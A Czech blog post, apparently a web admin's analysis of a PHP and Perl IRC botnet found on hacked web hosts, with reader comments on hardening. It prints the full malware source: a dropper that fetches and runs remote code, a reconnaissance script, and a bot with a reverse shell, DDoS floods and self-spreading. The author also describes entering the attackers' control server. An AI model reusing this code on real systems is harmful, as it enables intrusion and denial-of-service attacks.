abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
dnes 13:33 | Nová verze

Laboratoře CZ.NIC vydaly novou verzi 4.16.0 aplikace Datovka, tj. svobodné multiplatformní desktopové aplikace pro přístup k datovým schránkám a k trvalému uchovávání datových zpráv v lokální databázi. Nově je pro překlad aplikace potřeba použít knihovnu libdatovka. Ta byla vydána ve verzi 0.1.0.

Ladislav Hagara | Komentářů: 0
dnes 09:00 | Zajímavý článek

Brian Exelbierd, zástupce Red Hatu v představenstvu distribuce CentOS, poskytl rozhovor webu The Register. Ukončení vydávání CentOS jako sestavení RHEL vysvětluje tak, že Red Hat ho odmítl nadále sponzorovat. Dále hovoří o roli a omezeních nového bezplatného vydání RHEL.

Fluttershy, yay! | Komentářů: 13
dnes 06:00 | Bezpečnostní upozornění

Balíček s utilitou sudo byl vydán ve verzi 1.9.5p2. Řešena je bezpečnostní chyba CVE-2021-3156. Lokální uživatel může získat práva roota i když není uveden v souboru sudoers. Podrobnosti i s videoukázkou v příspěvku na blogu společnosti Qualys. Chyba byla do kódu sudo zanesena na konci července 2011 (commit 8255ed69). Týká se tedy verzí 1.8.2 až 1.8.31p2 a 1.9.0 až 1.9.5p1.

Ladislav Hagara | Komentářů: 16
včera 19:00 | Zajímavý článek

Společnost Backblaze zveřejnila statistiky spolehlivosti pevných disků používaných ve svých datových centrech za rok 2020. Ke konci roku vlastnila 165 530 pevných disků. V průběhu roku jich přibylo 39 792. Průměrná AFR (Annualized Failure Rate), tj. pravděpodobnost, že disk během roku selže, klesla na 0,93 %. V roce 2019 to bylo 1,89 %. V roce 2018 to bylo 1,25 %. V roce 2017 to bylo 1,77 %. V roce 2016 1,95 %.

Ladislav Hagara | Komentářů: 6
včera 18:11 | Nová verze

Dle plánu byl vydán Mozilla Firefox 85.0. Přehled novinek v poznámkách k vydání, poznámkách k vydání pro firmy a na stránce věnované vývojářům. Přibyla ochrana před supercookies. Odstraněna byla podpora Flashe. Řešeny jsou také bezpečnostní chyby. Nejnovější Firefox je již k dispozici také na Flathubu.

Ladislav Hagara | Komentářů: 6
včera 12:44 | Nová verze

Byla vydána nová verze 4.15 živé linuxové distribuce Tails (The Amnesic Incognito Live System), jež klade důraz na ochranu soukromí uživatelů a anonymitu. Přehled změn v příslušném seznamu. Tor Browser byl aktualizován na verzi 10.0.9. Thunderbird byl aktualizován na verzi 78.6.0. Linux byl aktualizován na verzi 5.9.15.

Ladislav Hagara | Komentářů: 0
včera 12:33 | Komunita

Projekt Mozilly MDN Web Docs dokumentující webové standardy včetně jejich podpory v jednotlivých prohlížečích byl loňským propouštěním citelně zasažen. Poté, co se obsah MDN přesunul na GitHub, čímž se z určitého pohledu více otevřel pro přispívání z řad webových vývojářů, vznikla nová organizace Open Web Docs. Na Open Collective už má přes 60 finančních přispěvatelů a největší mezi nimi jsou Google, Microsoft a Coil. Dále se do projektu zapojuje samozřejmě Mozilla, Samsung a W3C [Mozilla.cz].

Ladislav Hagara | Komentářů: 0
včera 11:55 | Komunita

Od verze 7.1 (vyjde na začátku února) bude mít LibreOffice přívlastek Community - přesný název tedy bude LibreOffice Community 7.1. Kromě názvu se nic nemění, nedochází k omezování funkcí apod. Přejmenování je výsledek dlouhých diskuzí nad novým marketingovým plánem a snahou odlišit komunitní a firemní verze LibreOffice. Vznikají také další nové pojmy: LibreOffice Technology - brand pro veškerý software založený na LibreOffice a LibreOffice Enterprise - pro partnery ekosystému a jejich enterprise verze LibreOffice.

Zdeněk Crhonek | Komentářů: 0
včera 07:00 | Humor

Umělec a designer Rocky Bergen má na svých stránkách volně ke stažení papírové modely počítačů Amiga 500, Amstrad CPC 464, Apple II a dalších. Čtenáři AbcLinuxu na ně jistě dokážou dostat i Linux. :-)

Ladislav Hagara | Komentářů: 0
25.1. 21:22 | Nová verze

OctoPi, linuxová distribuce pro Raspberry Pi s předinstalovaným webovým rozhraním pro ovládání 3D tiskáren OctoPrint, byla vydána ve verzi 0.18.0. Přehled novinek v oznámení na blogu a na GitHubu.

Ladislav Hagara | Komentářů: 0
Jestliže používáte distribuci CentOS, kterou náhradu plánujete vzhledem k oznámenému ukončení vydávání?
 (28%)
 (4%)
 (1%)
 (21%)
 (0%)
 (3%)
 (42%)
Celkem 212 hlasů
 Komentářů: 4, poslední 25.1. 03:13
Rozcestník

Trápení webhosterů aneb cizí botnet zevnitř

27.9.2009 17:07 | Přečteno: 3742× | Linux | poslední úprava: 22.8.2014 19:29

Jen jeden prstíček do botnetu strčíme...

Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle

< ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >
a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
id.txt
< ?php
system("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

system('rm -rf /tmp/*');
system('rm -rf /tmp/*.txt');
system('rm -rf /tmp/*.txt*');
system('rm -rf /tmp/*.txt.*');


? >


< ?php
echo "31337
"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER['SERVER_NAME']; $alb8 = $_SERVER['SERVER_ADDR']; $alb9 = get_current_user(); $os = @PHP_OS; echo "UNITED #D-Devils By The King Sir|ToTTi
"; echo "os: $os
"; echo "uname -a: $alb
"; echo "uptime: $alb2
"; echo "id: $alb3
"; echo "pwd: $alb4
"; echo "user: $alb9
"; echo "SoftWare: $alb5
"; echo "PHPV: $alb6
"; echo "ServerName: $alb7
"; echo "ServerAddr: $alb8
"; $free = disk_free_space($alb4); if ($free === FALSE) {$free = 0;} if ($free < 0) {$free = 0;} echo "Free: ".view_size($free)."
"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } exit; ? >
IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
#!/usr/bin/perl

use IO::Socket;
srand;
my $bPs        = 'httpds /usr/lib/httpd -f /etc/httpd.conf';
my $aMaster    = 'nix', 'Fugaru';
my $aHost      = '*@fbi.ro';
my $sServer    = 'ip-adresa-zde';
my $sPort      = '6667';
my $sTimeOut   = '300';
my $bChan      = '#nixsl3';

my $bNickLen   = '7';
chomp (my $bNick   = `whoami`);
chomp (my $bIrcName   = `whoami`);
chomp (my $bRealName  = `uname -a`);
my $bDelay     = '2';

open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
unless(flock(LOCK, 4 | 2)) { die; }

if(fork) { exit; }
$0 = $bPs;

$SIG{'INT'}  = 'IGNORE';
$SIG{'HUP'}  = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';

package irc;
use IO::Select;

our $irc_socket;
our $irc_select = new IO::Select;

my $cur_nick;

sub raw { print $irc_socket "$_[0]\n"; }

sub mnick {
    my $nick = $_[1];
    my @abc = ('a' .. 'z');
    for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
    return $nick;
}

sub init {
    
    my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
                                       PeerPort => $_[4],
                                       Proto    => 'tcp',
                                       Timeout  => '5') or return 0;
    if(defined($socket)) {
        $irc_socket = $socket;
        $irc_select->add($irc_socket);
        $irc_socket->autoflush(1);
        raw("USER ".$_[1]." 0 0 ".$_[2]);
        $cur_nick = $_[0];
        raw("NICK $cur_nick");
        return 1;
    }
    return 0;
}

sub loop {
    my $time_out = time;
    
    for(;;) {
        my @handles = $irc_select->can_read(1);
        
        if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
        
        next unless(@handles);
        
        foreach my $handle (@handles) {
            my $datain;$handle->recv($datain, 1023, 0);
            my @lines = split(/\r\n/, $datain);
            
            foreach my $line (@lines) {
                if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
                elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
                elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
                run::bcmd("$line");
            }
        }
    }
}
package run;
use Socket;

sub bcmd {
    my @line = split(/ /, $_[0]);
    
    my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
    #unless($Nick eq $aMaster) { return; }
    #unless($Mask eq $aHost)   { return; }
    my $Type = shift(@line);
    unless($Type eq "PRIVMSG") { return; }
    
    my $To = shift(@line);
    
    $" = ' '; $line[0] =~ s/://;my $Text = "@line";
    
    if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
        if($2 =~ /^nick\s*(.*)/) {
            if($1) { $cur_nick = $1; }
            else { $cur_nick = irc::mnick($bNickLen, $bNick); }
            irc::raw("NICK $cur_nick");
            return;
        }
        
        if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
        
        
        
        return;
    }
    
    if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
        
        if(!fork) {

	    if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }            

            if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
            
            if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
            
            if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
            
            if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
            
            if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
            if ($2 =~ /^join (.*)/) {
	    	j("$1");
	    }
	    if ($2 =~ /^part (.*)/) { 
	    	p("$1");
	    }
	    
            exit;
        }
        return;
    }
    
    if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
    if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}

sub bsh {
    my $to = $_[0];
    my $cmd = $_[1];
    
    if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
    
    my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
    foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }   
}

sub j { &join(@_); }
sub join {
	return unless $#_ == 0;
		irc::raw("JOIN $_[0]");
}

sub p { part(@_); }
sub part {
	irc::raw("PART $_[0]");
}

sub rsh {
    irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
    
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
    connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
        
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
        
    print "elxbot's connectback backdoor\n";
    system('/bin/sh');
        
    close(STDIN);
    close(STDOUT);
    close(STDERR);    
}

package spread;

sub start {
    irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
    
    our $s_time = time;
    my $m_time = $_[1] * 60; #''
    srand;
    
    my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
    my $rfi   = '';
    my $bLoc = 't';
    my $cmds  = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
    
    $cmds =~ s/ /%20/g;
    
    while($m_time > (time - $s_time)) {
        my $dup = "";my @urls = google();
        
        foreach my $url (@urls) {
            (my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
            my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
            
            if($dup eq $host) { next; } $dup = "$host";
            
            $url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
            
            my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
            print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
            $sock->close();
        }
    }
    irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}

sub google() {
    
    my $rnd=(int(rand(300)));
    my $n= 80;
    if ($rnd<300) { $rnd=(int(rand(300))); }
    my $msn= (int(rand(10)) * $n);

    my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
                   'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
                   'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
                   'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
                   'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
                   'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
                   'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
                   'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
                   'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
                   'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
                   'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
                   'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
                   'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
                   'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
                   'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
                   'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
                   'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
                   'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
                   'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
                   'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
                   'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
                   'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
                   'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
                   've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
                   'za', 'zm', 'zw');
    
    my @str = ();
    foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
    
    my $query = 'http://www.altavista.com/web/results?q=';
    $query   .= $str[(rand(scalar(@str)))];
    $query   .= "&stq=$msn";
    
    my @lst=();
    #irc::raw("privmsg #debug :DEBUG only test googling: ".$query.""); 
    my $page = http_query($query);
    
    while ($page =~  m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
        if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
    }
    return (@lst);
}

sub http_query {
    
    my $url = $_[0];
    my $host=$url;
    my $query=$url;
    my $page='';
    
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([\w\.\-\w]*)\/.*/$1/;
    $query =~ s/$host//;
    
    if ($query eq '') {$query='/';};
    eval {
	    local $SIG{ALRM} = sub { die "1";};
	    alarm 5;
	    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
	    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
	    my @r = <$sock>;
	    $page="@r";
	    alarm 0;
	    close($sock);
    };
    return $page;
}

package flood;
use POSIX;
use Socket;

our $s_time;

sub tcp {
    irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
    
    $s_time = time;
    my @SOCKET;
    
    while ($_[3] > (time - $s_time)) {
        
        for(my $i=0;$i<200;$i++) {
            socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
            fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
        }
        
        for(my $i=0;$i<200;$i++) {
            connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
        }
        
        for(my $i=0;$i<200;$i++) {
            close($SOCKET[$i]);
        }
    }
    
    irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}

sub udp {
    irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
    
    $s_time = time; 
    my $socket;
    my $packets = 0;
    socket($socket, PF_INET, SOCK_DGRAM, 17);
    
    while($_[3] > (time - $s_time)) {
        send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
        $packets++;
    }
    close($socket);
    
    irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}

sub http {
    irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
    
    $s_time = time;
    my $querys = 0;
    
    while ($_[2] > (time - $s_time)) {
        my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
        print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
        close($socket);
        $querys++;
    }
    
    irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}

while(1) {
    if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
    {
        irc::loop();
    }
    sleep 10;
}
#
#
#
#
#GET IS A SHITTY FUCKING PROGRAM!
Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
Překlepy typu whoiam prosím ignorujte :-D

       

Hodnocení: 100 %

        špatnédobré        

Obrázky

Trápení webhosterů aneb cizí botnet zevnitř, obrázek 1 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 2 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 3 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 4 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 5 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 6 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 7 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 8 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 9 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 10

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Vložit další komentář

Genunix avatar 27.9.2009 18:20 Genunix | skóre: 17 | blog: Memdump
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Funkce system, passthru, exec a shell_exec mám zakázané a na každý VirtualHost mám nastaveno open.basedir přímo na něj + na místo, kde má PHP upload temp. Díky tomu bych měl být v bezpečí :-)
*´¨`*.¸.·´¨`*.¸.·*´`*·>>>
H0ax avatar 27.9.2009 18:53 H0ax | skóre: 36 | blog: Odnikud_nikam
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Používáš-li mysql, jsi si jist, že tvá data nelze číst třeba takto: http://dev.mysql.com/doc/refman/5.1/en/load-data.html ? ;-)
LinuxWay | blog |  LiCo
27.9.2009 20:08 trekker.dk | skóre: 71
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Jenom v případě, že už je opravené tohle

Quando omni flunkus moritati
Salamek avatar 27.9.2009 19:17 Salamek | skóre: 22 | blog: salamovo
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
hezke :-D
Skutečně nemám v plánu zničit Microsoft. Bude to jen zcela neúmyslný vedlejší efekt.
27.9.2009 21:32 12345 | skóre: 41 | blog:
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
PERL posoudit neumím, ale to PHP je pěkný bastl. Někdy mi nedá, abych neobdivoval kvality temné strany, ale tahle ubohá splácanina si zaslouží jen pohrdání. A ovládací server chráněný security by obscurity je taky k smíchu. Nejen, že jsou to zlí crackeři, oni navíc svou práci ani neumí udělat pořádně. IT je zase jedno odvětví, kde se modlou stal cíl a nikoliv cesta k němu.
27.9.2009 21:56 CEST
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.

27.9.2009 21:58 CEST
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).

limit_false avatar 27.9.2009 22:18 limit_false | skóre: 23 | blog: limit_false
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.

When people want prime order group, give them prime order group.
limit_false avatar 27.9.2009 22:13 limit_false | skóre: 23 | blog: limit_false
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji ;-)). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.

When people want prime order group, give them prime order group.
27.9.2009 23:06 Mrkva | skóre: 22 | blog: urandom
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
TPE NEZABRÁNÍ spuštění skriptu v libovolném adresáři. Spuštění programu možná. Jelikož se skript spouští přes interpretr (kterýžto pravidlům pro spuštění podle TPE vyhovuje), a ten interpretr si sám natáhne data z toho skriptu, skript se vykoná :)))
Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
limit_false avatar 27.9.2009 23:58 limit_false | skóre: 23 | blog: limit_false
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi ;-)

When people want prime order group, give them prime order group.

Založit nové vláknoNahoru

ISSN 1214-1267   www.czech-server.cz
© 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.